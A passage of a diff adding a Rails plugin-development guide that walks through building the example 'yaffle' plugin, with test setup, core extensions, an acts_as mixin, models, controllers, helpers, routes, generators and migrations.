+create vendor/plugins/yaffle/generators
+create vendor/plugins/yaffle/generators/yaffle
+create vendor/plugins/yaffle/generators/yaffle/templates
+create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create vendor/plugins/yaffle/generators/yaffle/USAGE
+</pre>
+
+h4. Organize Your Files
+
+To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:
+
+<pre>
+|-- lib
+| |-- yaffle
+| `-- yaffle.rb
+`-- rails
+ |
+ `-- init.rb
+</pre>
+
+*vendor/plugins/yaffle/rails/init.rb*
+
+<ruby>
+require 'yaffle'
+</ruby>
+
+Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean.
+
+h3. Tests
+
+In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files:
+
+ * A 'database.yml' file with all of your connection strings
+ * A 'schema.rb' file with your table definitions
+ * A test helper method that sets up the database
+
+h4. Test Setup
+
+*vendor/plugins/yaffle/test/database.yml:*
+
+<pre>
+sqlite:
+ :adapter: sqlite
+ :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+ :adapter: sqlite3
+ :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+ :adapter: postgresql
+ :username: postgres
+ :password: postgres
+ :database: yaffle_plugin_test
+ :min_messages: ERROR
+
+mysql:
+ :adapter: mysql
+ :host: localhost
+ :username: root
+ :password: password
+ :database: yaffle_plugin_test
+</pre>
+
+For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
+
+*vendor/plugins/yaffle/test/schema.rb:*
+
+<ruby>
+ActiveRecord::Schema.define(:version => 0) do
+ create_table :hickwalls, :force => true do |t|
+ t.string :name
+ t.string :last_squawk
+ t.datetime :last_squawked_at
+ end
+ create_table :wickwalls, :force => true do |t|
+ t.string :name
+ t.string :last_tweet
+ t.datetime :last_tweeted_at
+ end
+ create_table :woodpeckers, :force => true do |t|
+ t.string :name
+ end
+end
+</ruby>
+
+*vendor/plugins/yaffle/test/test_helper.rb:*
+
+<ruby>
+ENV['RAILS_ENV'] = 'test'
+ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
+
+require 'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
+
+def load_schema
+ config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
+ ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
+
+ db_adapter = ENV['DB']
+
+ # no db passed, try one of these fine config-free DBs before bombing.
+ db_adapter ||=
+ begin
+ require 'rubygems'
+ require 'sqlite'
+ 'sqlite'
+ rescue MissingSourceFile
+ begin
+ require 'sqlite3'
+ 'sqlite3'
+ rescue MissingSourceFile
+ end
+ end
+
+ if db_adapter.nil?
+ raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
+ end
+
+ ActiveRecord::Base.establish_connection(config[db_adapter])
+ load(File.dirname(__FILE__) + "/schema.rb")
+ require File.dirname(__FILE__) + '/../rails/init.rb'
+end
+</ruby>
+
+Now whenever you write a test that requires the database, you can call 'load_schema'.
+
+h4. Run the Plugin Tests
+
+Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with:
+
+*vendor/plugins/yaffle/test/yaffle_test.rb:*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class YaffleTest < Test::Unit::TestCase
+ load_schema
+
+ class Hickwall < ActiveRecord::Base
+ end
+
+ class Wickwall < ActiveRecord::Base
+ end
+
+ def test_schema_has_loaded_correctly
+ assert_equal [], Hickwall.all
+ assert_equal [], Wickwall.all
+ end
+
+end
+</ruby>
+
+To run this, go to the plugin directory and run +rake+:
+
+<pre>
+cd vendor/plugins/yaffle
+rake
+</pre>
+
+You should see output like:
+
+<shell>
+/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
+ create_table(:hickwalls, {:force=>true})
+ -> 0.0220s
+-- create_table(:wickwalls, {:force=>true})
+ -> 0.0077s
+-- initialize_schema_migrations_table()
+ -> 0.0007s
+-- assume_migrated_upto_version(0)
+ -> 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors
+</shell>
+
+By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
+
+<shell>
+rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql
+</shell>
+
+Now you are ready to test-drive your plugin!
+
+h3. Extending Core Classes
+
+This section will explain how to add a method to String that will be available anywhere in your rails app.
+
+In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions:
+
+* *vendor/plugins/yaffle/test/core_ext_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class CoreExtTest < Test::Unit::TestCase
+ def test_to_squawk_prepends_the_word_squawk
+ assert_equal "squawk! Hello World", "Hello World".to_squawk
+ end
+end
+</ruby>
+
+Navigate to your plugin directory and run +rake test+:
+
+<shell>
+cd vendor/plugins/yaffle
+rake test
+</shell>
+
+The test above should fail with the message:
+
+<shell>
+ 1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+ ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+</shell>
+
+Great - now you are ready to start development.
+
+Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/core_ext"
+</ruby>
+
+Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
+
+* *vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
+
+<ruby>
+String.class_eval do
+ def to_squawk
+ "squawk! #{self}".strip
+ end
+end
+</ruby>
+
+To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory. To see this in action, fire up a console and start squawking:
+
+<shell>
+$ ./script/console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+</shell>
+
+h4. Working with +init.rb+
+
+When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via +eval+ (not +require+) so it has slightly different behavior.
+
+Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from +init.rb+, as shown above.
+
+If you must reopen a class in +init.rb+ you can use +module_eval+ or +class_eval+ to avoid any issues:
+
+* *vendor/plugins/yaffle/rails/init.rb*
+
+<ruby>
+Hash.class_eval do
+ def is_a_special_hash?
+ true
+ end
+end
+</ruby>
+
+Another way is to explicitly define the top-level module space for all modules and classes, like +::Hash+:
+
+* *vendor/plugins/yaffle/rails/init.rb*
+
+<ruby>
+class ::Hash
+ def is_a_special_hash?
+ true
+ end
+end
+</ruby>
+
+h3. Add an "acts_as" Method to Active Record
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
+
+To begin, set up your files so that you have:
+
+* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require 'yaffle/acts_as_yaffle'
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+ # your code will go here
+end
+</ruby>
+
+Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
+
+One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+ def self.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ # any method placed here will apply to classes, like Hickwall
+ def acts_as_something
+ send :include, InstanceMethods
+ end
+ end
+
+ module InstanceMethods
+ # any method placed here will apply to instaces, like @hickwall
+ end
+end
+</ruby>
+
+With structure you can easily separate the methods that will be used for the class (like +Hickwall.some_method+) and the instance (like +@hickwell.some_method+).
+
+h4. Add a Class Method
+
+This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+ acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+ acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+ load_schema
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+end
+</ruby>
+
+To make these tests pass, you could modify your +acts_as_yaffle+ file like so:
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+ def self.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+</ruby>
+
+h4. Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+ acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+ acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+ load_schema
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+
+ def test_hickwalls_squawk_should_populate_last_squawk
+ hickwall = Hickwall.new
+ hickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", hickwall.last_squawk
+ end
+
+ def test_wickwalls_squawk_should_populate_last_tweeted_at
+ wickwall = Wickwall.new
+ wickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", wickwall.last_tweet
+ end
+end
+</ruby>
+
+Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+ def self.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ send :include, InstanceMethods
+ end
+ end
+
+ module InstanceMethods
+ def squawk(string)
+ write_attribute(self.class.yaffle_text_field, string.to_squawk)
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+</ruby>
+
+NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+.
+
+h3. Models
+
+This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this:
+
+<shell>
+vendor/plugins/yaffle/
+|-- lib
+| |-- app
+| | |-- controllers
+| | |-- helpers
+| | |-- models
+| | | `-- woodpecker.rb
+| | `-- views
+| |-- yaffle
+| | |-- acts_as_yaffle.rb
+| | |-- commands.rb
+| | `-- core_ext.rb
+| `-- yaffle.rb
+</shell>
+
+As always, start with a test:
+
+* *vendor/plugins/yaffle/test/woodpecker_test.rb:*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class WoodpeckerTest < Test::Unit::TestCase
+ load_schema
+
+ def test_woodpecker
+ assert_kind_of Woodpecker, Woodpecker.new
+ end
+end
+</ruby>
+
+This is just a simple test to make sure the class is being loaded correctly. After watching it fail with +rake+, you can make it pass like so:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+%w{ models }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</ruby>
+
+Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.
+
+* *vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
+
+<ruby>
+class Woodpecker < ActiveRecord::Base
+end
+</ruby>
+
+Finally, add the following to your plugin's 'schema.rb':
+
+* *vendor/plugins/yaffle/test/schema.rb:*
+
+<ruby>
+create_table :woodpeckers, :force => true do |t|
+ t.string :name
+end
+</ruby>
+
+Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
+
+h3. Controllers
+
+This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.
+
+You can test your plugin's controller as you would test any other controller:
+
+* *vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'woodpeckers_controller'
+require 'action_controller/test_process'
+
+class WoodpeckersController; def rescue_action(e) raise e end; end
+
+class WoodpeckersControllerTest < Test::Unit::TestCase
+ def setup
+ @controller = WoodpeckersController.new
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+
+ ActionController::Routing::Routes.draw do |map|
+ map.resources :woodpeckers
+ end
+ end
+
+ def test_index
+ get :index
+ assert_response :success
+ end
+end
+</ruby>
+
+This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with +rake+, you can make it pass like so:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+%w{ models controllers }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</ruby>
+
+* *vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
+
+<ruby>
+class WoodpeckersController < ActionController::Base
+
+ def index
+ render :text => "Squawk!"
+ end
+
+end
+</ruby>
+
+Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
+
+h3. Helpers
+
+This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.
+
+You can test your plugin's helper as you would test any other helper:
+
+* *vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+include WoodpeckersHelper
+
+class WoodpeckersHelperTest < Test::Unit::TestCase
+ def test_tweet
+ assert_equal "Tweet! Hello", tweet("Hello")
+ end
+end
+</ruby>
+
+This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with +rake+, you can make it pass like so:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+%w{ models controllers helpers }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</ruby>
+
+* *vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
+
+<ruby>
+module WoodpeckersHelper
+
+ def tweet(text)
+ "Tweet! #{text}"
+ end
+
+end
+</ruby>
+
+Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.
+
+h3. Routes
+
+In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with 'map.yaffles'.
+
+Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this:
+
+* *vendor/plugins/yaffle/test/routing_test.rb*
+
+<ruby>
+require "#{File.dirname(__FILE__)}/test_helper"
+
+class RoutingTest < Test::Unit::TestCase
+
+ def setup
+ ActionController::Routing::Routes.draw do |map|
+ map.yaffles
+ end
+ end
+
+ def test_yaffles_route
+ assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
+ end
+
+ private
+
+ def assert_recognition(method, path, options)
+ result = ActionController::Routing::Routes.recognize_path(path, :method => method)
+ assert_equal options, result
+ end
+end
+</ruby>
+
+Once you see the tests fail by running 'rake', you can make them pass with:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/routing"
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle/routing.rb*
+
+<ruby>
+module Yaffle #:nodoc:
+ module Routing #:nodoc:
+ module MapperExtensions
+ def yaffles
+ @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
+ end
+ end
+ end
+end
+
+ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
+</ruby>
+
+* *config/routes.rb*
+
+<ruby>
+ActionController::Routing::Routes.draw do |map|
+ map.yaffles
+end
+</ruby>
+
+You can also see if your routes work by running +rake routes+ from your app directory.
+
+h3. Generators
+
+Many plugins ship with generators. When you created the plugin above, you specified the +--with-generator+ option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
+
+Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.
+
+h4. Testing Generators
+
+Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:
+
+ * Creates a new fake rails root directory that will serve as destination
+ * Runs the generator
+ * Asserts that the correct files were generated
+ * Removes the fake rails root
+
+This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this:
+
+* *vendor/plugins/yaffle/test/definition_generator_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+class DefinitionGeneratorTest < Test::Unit::TestCase
+
+ def setup
+ FileUtils.mkdir_p(fake_rails_root)
+ @original_files = file_list
+ end
+
+ def teardown
+ FileUtils.rm_r(fake_rails_root)
+ end
+
+ def test_generates_correct_file_name
+ Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root)
+ new_file = (file_list - @original_files).first
+ assert_equal "definition.txt", File.basename(new_file)
+ end
+
+ private
+
+ def fake_rails_root
+ File.join(File.dirname(__FILE__), 'rails_root')
+ end
+
+ def file_list
+ Dir.glob(File.join(fake_rails_root, "*"))
+ end
+
+end
+</ruby>
+
+You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
+
+To make it pass, create the generator:
+
+* *vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb*
+
+<ruby>
+class YaffleDefinitionGenerator < Rails::Generator::Base
+ def manifest
+ record do |m|
+ m.file "definition.txt", "definition.txt"
+ end
+ end
+end
+</ruby>
+
+h4. The +USAGE+ File
+
+If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file.
+
+Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:
+
+<shell>
+./script/generate
+</shell>
+
+You should see something like this:
+
+<shell>
+Installed Generators
+ Plugins (vendor/plugins): yaffle_definition
+ Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
+</shell>
+
+When you run +script/generate yaffle_definition -h+ you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'.
+
+For this plugin, update the USAGE file could look like this:
+
+<shell>
+Description:
+ Adds a file with the definition of a Yaffle to the app's main directory
+</shell>
+
+h3. Add a Custom Generator Command
+
+You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
+This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file.
+
+To start, add the following test method:
+
+* *vendor/plugins/yaffle/test/generator_test.rb*
+
+<ruby>
+def test_generates_definition
+ Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+ definition = File.read(File.join(fake_rails_root, "definition.txt"))
+ assert_match /Yaffle\:/, definition
+end
+</ruby>
+
+Run +rake+ to watch the test fail, then make the test pass add the following:
+
+* *vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
+
+<shell>
+Yaffle: A bird
+</shell>
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/commands"
+</ruby>
+
+* *vendor/plugins/yaffle/lib/commands.rb*
+
+<ruby>
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+ module Generator #:nodoc:
+ module Commands #:nodoc:
+ module Create
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+
+ module Destroy
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+
+ module List
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+
+ module Update
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+ end
+ end
+end
+
+Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update
+</ruby>
+
+Finally, call your new method in the manifest:
+
+* *vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
+
+<ruby>
+class YaffleGenerator < Rails::Generator::NamedBase
+ def manifest
+ m.yaffle_definition
+ end
+end
+</ruby>
+
+h3. Generator Commands
+
+You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
+This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'.
+
+To start, add the following test method:
+
+* *vendor/plugins/yaffle/test/route_generator_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+require 'rails_generator/scripts/destroy'
+
+class RouteGeneratorTest < Test::Unit::TestCase
+
+ def setup
+ FileUtils.mkdir_p(File.join(fake_rails_root, "config"))
+ end
+
+ def teardown
+ FileUtils.rm_r(fake_rails_root)
+ end
+
+ def test_generates_route
+ content = <<-END
+ ActionController::Routing::Routes.draw do |map|
+ map.connect ':controller/:action/:id'
+ map.connect ':controller/:action/:id.:format'
+ end
+ END
+ File.open(routes_path, 'wb') {|f| f.write(content) }
+
+ Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root)
+ assert_match /map\.yaffles/, File.read(routes_path)
+ end
+
+ def test_destroys_route
+ content = <<-END
+ ActionController::Routing::Routes.draw do |map|
+ map.yaffles
+ map.connect ':controller/:action/:id'
+ map.connect ':controller/:action/:id.:format'
+ end
+ END
+ File.open(routes_path, 'wb') {|f| f.write(content) }
+
+ Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root)
+ assert_no_match /map\.yaffles/, File.read(routes_path)
+ end
+
+ private
+
+ def fake_rails_root
+ File.join(File.dirname(__FILE__), "rails_root")
+ end
+
+ def routes_path
+ File.join(fake_rails_root, "config", "routes.rb")
+ end
+
+end
+</ruby>
+
+Run +rake+ to watch the test fail, then make the test pass add the following:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/commands"
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle/commands.rb*
+
+<ruby>
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+ module Generator #:nodoc:
+ module Commands #:nodoc:
+ module Create
+ def yaffle_route
+ logger.route "map.yaffle"
+ look_for = 'ActionController::Routing::Routes.draw do |map|'
+ unless options[:pretend]
+ gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n map.yaffles\n"}
+ end
+ end
+ end
+
+ module Destroy
+ def yaffle_route
+ logger.route "map.yaffle"
+ gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, ''
+ end
+ end
+
+ module List
+ def yaffle_route
+ end
+ end
+
+ module Update
+ def yaffle_route
+ end
+ end
+ end
+ end
+end
+
+Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update
+</ruby>
+
+* *vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb*
+
+<ruby>
+class YaffleRouteGenerator < Rails::Generator::Base
+ def manifest
+ record do |m|
+ m.yaffle_route
+ end
+ end
+end
+</ruby>
+
+To see this work, type:
+
+<shell>
+./script/generate yaffle_route
+./script/destroy yaffle_route
+</shell>
+
+NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually.
+
+h3. Migrations
+
+If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.
+
+If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.
+
+Let's say you have the following migration in your plugin:
+
+* *vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:*
+
+<ruby>
+class CreateBirdhouses < ActiveRecord::Migration
+ def self.up
+ create_table :birdhouses, :force => true do |t|
+ t.string :name
+ t.timestamps
+ end
+ end
+
+ def self.down
+ drop_table :birdhouses
+ end
+end
+</ruby>
+
+Here are a few possibilities for how to allow developers to use your plugin migrations:
+
+h4. Create a Custom Rake Task
+
+* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake:*
+
+<ruby>
+namespace :db do
+ namespace :migrate do
+ description = "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate"
+ description << "and update db/schema.rb by invoking db:schema:dump."
+ description << "Target specific version with VERSION=x. Turn off output with VERBOSE=false."
+
+ desc description
+ task :yaffle => :environment do
+ ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+ ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
+ Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+ end
+ end
+end
+</ruby>
+
+h4. Call Migrations Directly
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
+ require file
+end
+</ruby>
+
+* *db/migrate/20081116181115_create_birdhouses.rb:*
+
+<ruby>
+class CreateBirdhouses < ActiveRecord::Migration
+ def self.up
+ Yaffle::CreateBirdhouses.up
+ end
+
+ def self.down
+ Yaffle::CreateBirdhouses.down
+ end
+end
+</ruby>
+
+NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.
+
+h4. Generate Migrations
+
+Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this:
+
+ * call your script/generate script and pass in whatever options they need
+ * examine the generated migration, adding/removing columns or other options as necessary
+
+This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first:
+
+* *vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+class MigrationGeneratorTest < Test::Unit::TestCase
+
+ def setup
+ FileUtils.mkdir_p(fake_rails_root)
+ @original_files = file_list
+ end
+
+ def teardown
+ ActiveRecord::Base.pluralize_table_names = true
+ FileUtils.rm_r(fake_rails_root)
+ end
+
+ def test_generates_correct_file_name
+ Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"],
+ :destination => fake_rails_root)
+ new_file = (file_list - @original_files).first
